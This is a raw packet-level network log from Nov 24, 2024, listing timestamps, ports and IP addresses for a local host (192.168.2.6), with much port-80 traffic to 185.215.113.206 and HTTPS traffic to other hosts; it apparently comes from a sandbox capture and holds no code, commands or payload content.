Nov 24, 2024 04:20:49.841820002 CET	443	49900	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.841917992 CET	49900	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.844188929 CET	49900	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.844222069 CET	443	49900	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.844238997 CET	49900	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.844244003 CET	443	49900	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.847337008 CET	49911	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.847362995 CET	443	49911	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.847979069 CET	49911	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.848310947 CET	49911	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.848324060 CET	443	49911	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.876549006 CET	49902	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:49.876563072 CET	443	49902	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:49.876602888 CET	49903	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:49.880039930 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.880064964 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.880129099 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.880146980 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.880182028 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.880189896 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.897419930 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.897439957 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.897536039 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.897545099 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.897600889 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.912540913 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.912559986 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.912652016 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.912668943 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.912733078 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.920798063 CET	49902	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:49.929943085 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.929961920 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.930042982 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.930053949 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.930165052 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.940113068 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.940216064 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.940221071 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.940438032 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.940521002 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.940563917 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.940596104 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.940927982 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.941344023 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.941397905 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.941401958 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.941452026 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.941962004 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.942017078 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.942070961 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.942120075 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.942831993 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.942939043 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.942986965 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.943605900 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.943633080 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.943655968 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.943681002 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.944386005 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.944499016 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.944574118 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.945214987 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.945269108 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.945323944 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.945365906 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.946080923 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.946094990 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.946130037 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.946130991 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.946146965 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.946147919 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.946201086 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.946209908 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.946361065 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.946880102 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.946955919 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.947010040 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.947077036 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.947669029 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.947726011 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.947763920 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.947814941 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.948527098 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.948542118 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.948577881 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.948590040 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.949337006 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.949429035 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.949486017 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.950084925 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.950212955 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.950253010 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.950269938 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.950985909 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.950999975 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.951059103 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.951765060 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.951817036 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.951828003 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.951864004 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.952630043 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.952702045 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.952723980 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.953027010 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.953383923 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.953450918 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.953463078 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.953591108 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.954221010 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.954281092 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.954310894 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.954355955 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.955064058 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.955116987 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.955132961 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.955173969 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.955857992 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.955913067 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.955959082 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.956003904 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.956686974 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.956715107 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.956774950 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.957484961 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.957539082 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.957571983 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.957623959 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.958359003 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.958410978 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.958411932 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.958475113 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.959116936 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.959225893 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.959269047 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.959959984 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.960024118 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.960053921 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.960158110 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.960753918 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.960814953 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.960858107 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.960902929 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.961607933 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.961627960 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.961677074 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.962394953 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.962446928 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.962502003 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.962663889 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.963208914 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.963267088 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.963340998 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.963385105 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.963610888 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.963629961 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.963696957 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.963705063 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.963784933 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.964039087 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.964091063 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.964143038 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.964184046 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.964884043 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.964896917 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.964941978 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.964962006 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.965682030 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.965811968 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.965873957 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.966517925 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.966573000 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.966592073 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.966648102 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.967319965 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.967369080 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.967421055 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.967528105 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.968143940 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.968156099 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.968200922 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.968228102 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.968924999 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.969042063 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.969108105 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.969753027 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.969854116 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.969863892 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.970076084 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.970567942 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.970627069 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.970669031 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.970762968 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.971385956 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.971445084 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.971470118 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.971529961 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.972244978 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.972295046 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.972300053 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.972342968 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.973030090 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.973076105 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.973126888 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.973848104 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.973906994 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.973948956 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.974010944 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.974706888 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.974720001 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.974761963 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.975478888 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.975534916 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.975536108 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.975712061 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.976298094 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.976346970 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.976413012 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.976458073 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.977109909 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.977164984 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.977206945 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.977252960 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.977966070 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.978018999 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.978087902 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.978140116 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.978769064 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.978848934 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.978907108 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.979573011 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.979671955 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.979696035 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.979739904 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.980416059 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.980442047 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.980496883 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.981193066 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.981245995 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.981312037 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.981354952 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.982069969 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.982129097 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.982131004 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.982181072 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.982872963 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.982925892 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.982959032 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.983119965 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.983691931 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.983705997 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.983755112 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.984493017 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.984623909 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.984685898 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.985277891 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.985337973 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.009193897 CET	443	49901	150.171.27.10	192.168.2.6
Nov 24, 2024 04:20:50.009285927 CET	49901	443	192.168.2.6	150.171.27.10
Nov 24, 2024 04:20:50.009711027 CET	49901	443	192.168.2.6	150.171.27.10
Nov 24, 2024 04:20:50.009721994 CET	443	49901	150.171.27.10	192.168.2.6
Nov 24, 2024 04:20:50.010180950 CET	49901	443	192.168.2.6	150.171.27.10
Nov 24, 2024 04:20:50.010185957 CET	443	49901	150.171.27.10	192.168.2.6
Nov 24, 2024 04:20:50.084196091 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:50.084216118 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:50.084300995 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:50.084322929 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:50.084364891 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:50.097533941 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:50.097557068 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:50.097601891 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:50.097620010 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:50.097657919 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:50.097676992 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:50.109008074 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:50.109030008 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:50.109076977 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:50.109090090 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:50.109124899 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:50.109143972 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:50.122318983 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:50.122342110 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:50.122394085 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:50.122423887 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:50.122441053 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:50.123136044 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:50.134699106 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:50.134720087 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:50.134767056 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:50.134778976 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:50.134813070 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:50.134820938 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:50.144226074 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:50.144264936 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:50.144289017 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:50.144294977 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:50.144314051 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:50.144334078 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:50.144378901 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:50.144706964 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:50.144723892 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:50.150945902 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.151007891 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.151009083 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.151045084 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.151331902 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.151381016 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.151453972 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.151499033 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.152163029 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.152215958 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.152290106 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.152331114 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.152957916 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.153008938 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.153032064 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.153073072 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.153778076 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.153826952 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.153862953 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.153949022 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.154587984 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.154700994 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.154740095 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.154764891 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.155392885 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.155457973 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.155491114 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.155535936 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.156229019 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.156285048 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.156299114 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.156339884 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.157042027 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.157100916 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.157128096 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.157166958 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.157850981 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.157903910 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.157943964 CET	80	49835	185.215.113.206	192.168.2.6
